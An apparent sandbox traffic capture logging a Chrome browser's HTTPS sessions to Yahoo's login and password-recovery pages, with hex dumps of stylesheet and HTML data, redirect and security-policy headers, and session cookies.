2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 2e 31 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 35 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 2e 31 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a Data Ascii: font-weight: 300 } h1 { line-height: 1.2; letter-spacing: -.1rem } h2 { line-height: 1.25; letter-spacing: -.1rem } h3 { line-height:
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 66 69 76 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 39 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 69 78 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 34 38 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 65 76 65 6e 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a Data Ascii: width: 30.6666666667% } .five.columns { width: 39.3333333333% } .six.columns { width: 48% } .seven.columns { width:
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 6f 75 72 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 6f 75 72 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 34 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 69 76 65 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 69 76 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 33 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 Data Ascii: .offset-by-four.column, .offset-by-four.columns { margin-left: 34.6666666667% } .offset-by-five.column, .offset-by-five.columns { margin-left: 43.3333333333%
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 32 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 32 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d Data Ascii: .offset-by-one-half.column, .offset-by-one-half.columns { margin-left: 52% } h1 { font-size: 5rem } h2 { font-size: 4.2rem }
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 Data Ascii: } .button:focus, .button:hover, button:focus, button:hover, input[type=button]:focus, input[type=button]:hover, input[type=reset]:focus, input[type=reset]:hover, input[t
2024-01-10 23:26:42 UTC	1369	IN	Data Raw: 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 2c 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 Data Ascii: nput[type=url], input[type=password], input[type=number], input[type=search], select, textarea { height: 38px; padding: 6px 10px; background-color: #fff; bord

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49778	67.195.204.151	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:44 UTC	1845	OUT	GET /forgot?done=https%3A%2F%2Fmail.yahoo.com%2F HTTP/1.1 Host: login.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A; A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:26:44 UTC	2265	IN	HTTP/1.1 302 Found Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Age: 0 Pragma: no-cache Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A; path=/; domain=login.yahoo.com; secure; HttpOnly Location: /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qg-- Vary: Accept, Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 272
2024-01-10 23:26:44 UTC	2202	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 63 68 69 6c 64 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 79 61 68 6f 6f 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 73 31 2e 79 69 6d 67 2e 63 6f 6d 3b 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 70 72 2e 63 6f 6d 65 74 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 73 65 72 76 65 72 2d 64 65 76 2e 63 6f 6d 65 74 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 73 65 72 76 65 72 2e 63 6f 6d 65 74 2e 79 61 68 6f 6f 2e 63 6f 6d 20 Data Ascii: Content-Security-Policy: base-uri 'self';child-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com;connect-src 'self' https://geo.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com
2024-01-10 23:26:44 UTC	272	IN	Data Raw: 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 61 63 63 6f 75 6e 74 2f 63 68 61 6c 6c 65 6e 67 65 2f 75 73 65 72 6e 61 6d 65 3f 64 6f 6e 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 69 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 61 75 74 68 4d 65 63 68 61 6e 69 73 6d 3d 73 65 63 6f 6e 64 61 72 79 26 61 6d 70 3b 73 65 73 73 69 6f 6e 49 6e 64 65 78 3d 51 67 2d 2d 22 3e 2f 61 63 63 6f 75 6e 74 2f 63 68 61 6c 6c 65 6e 67 65 2f 75 73 65 72 6e 61 6d 65 3f 64 6f 6e 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 69 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 61 75 74 68 4d 65 63 68 61 6e 69 73 6d 3d 73 65 63 6f 6e 64 61 72 79 26 61 6d 70 3b 73 65 73 73 69 6f 6e 49 Data Ascii: <p>Found. Redirecting to <a href="/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qg--">/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49777	67.195.204.151	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:44 UTC	2748	OUT	GET /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qg-- HTTP/1.1 Host: login.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A
2024-01-10 23:26:44 UTC	2579	IN	HTTP/1.1 200 OK Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Age: 6 Pragma: no-cache Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 Content-Length: 35901 Content-Security-Policy: base-uri 'self';child-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com;connect-src 'self' https://geo.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://ws.progrss.yahoo.com https://udc.yahoo.com https://jsapi.login.yahoo.com https://www.yahoo.com https://guce.yahoo.com/ https://ups.analytics.yahoo.com https://api.taboola.com/1.2/json/taboola-usersync/user.sync;default-src 'self' https://s.yimg.com https://s1.yimg.com https://login.yahoo.net;font-src https://s.yimg.com https://s1.yimg.com;frame-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com https://gpt.mail.yahoo.net/sandbox https://guce.oath.com/ https://opus.analytics.yahoo.com https://tsdtocl.com/;img-src 'self' data: https://yahoo.com https://ct.yimg.com https://s.yimg.com https://s1.yimg.com https://tw.yimg.com https://geo.yahoo.com https://socialprofiles.zenfs.com https://.wc.yahoodns.net https://beap-bc.yahoo.com https://ws.progrss.yahoo.com https://log.fc.yahoo.com https://backyard.yahoo.com https://.ah.yahoo.com https://pr-bh.ybp.yahoo.com https://fbcdn.net https://scontent.xx.fbcdn.net https://z-m-scontent.xx.fbcdn.net https://graph.facebook.com https://data.mail.yahoo.com https://platform-lookaside.fbsbx.com https://www.yahoo.com;media-src https://.ah.yahoo.com https://s.yimg.com;object-src 'none';report-uri https://csp.yahoo.com/beacon/csp?src=mbr_account;script-src 'unsafe-inline' 'self' https://s.yimg.com https://s1.yimg.com https://query.yahoo.com https://.query.yahoo.com https://y.analytics.yahoo.com https://jsapi.login.yahoo.com https://fc.yahoo.com https://e2e.fc.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://opus.analytics.yahoo.com/tag/opus.js https://consent.cmp.oath.com/cmp.js https://search.yahoo.com https://.search.yahoo.com 'nonce-s390HGD2pinJRT6cKtpL6e5Y/AHHzi/iLl6MkxdutdPRiBRR' ;style-src 'unsafe-inline' Vary: Accept-Encoding Date: Wed, 10 Jan 2024 23:26:44 GMT Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:26:44 UTC	794	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 53 74 65 6e 63 69 6c 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 69 67 68 74 2d 74 68 65 6d 65 20 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f Data Ascii: <!DOCTYPE html><html id="Stencil" class="no-js light-theme "> <head> <meta charset="utf-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no"/> <meta name="format-detection" co
2024-01-10 23:26:44 UTC	16384	IN	Data Raw: 74 69 63 73 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 75 63 73 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 Data Ascii: tics.yahoo.com"> <link rel="dns-prefetch" href="//ucs.query.yahoo.com"> <link rel="dns-prefetch" href="//geo.query.yahoo.com"> <link rel="dns-prefetch" href="//geo.yahoo.com"> <link rel="icon" type="image/x-icon" href="http
2024-01-10 23:26:44 UTC	16384	IN	Data Raw: 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 32 32 30 22 20 76 61 6c 75 65 3d 22 47 4d 22 20 3e 47 61 6d 62 69 61 20 26 23 78 32 30 32 41 3b 28 2b 32 32 30 29 26 23 78 32 30 32 43 3b 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 39 39 35 22 20 76 61 6c 75 65 3d 22 47 45 22 20 3e 47 65 6f 72 67 69 61 20 26 23 78 32 30 32 41 3b 28 2b 39 39 35 29 26 23 78 32 30 32 43 3b 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 34 39 22 20 76 61 6c 75 65 3d 22 44 45 22 20 3e 47 65 72 6d 61 6e 79 20 Data Ascii: <option role="option" data-code="+220" value="GM" >Gambia 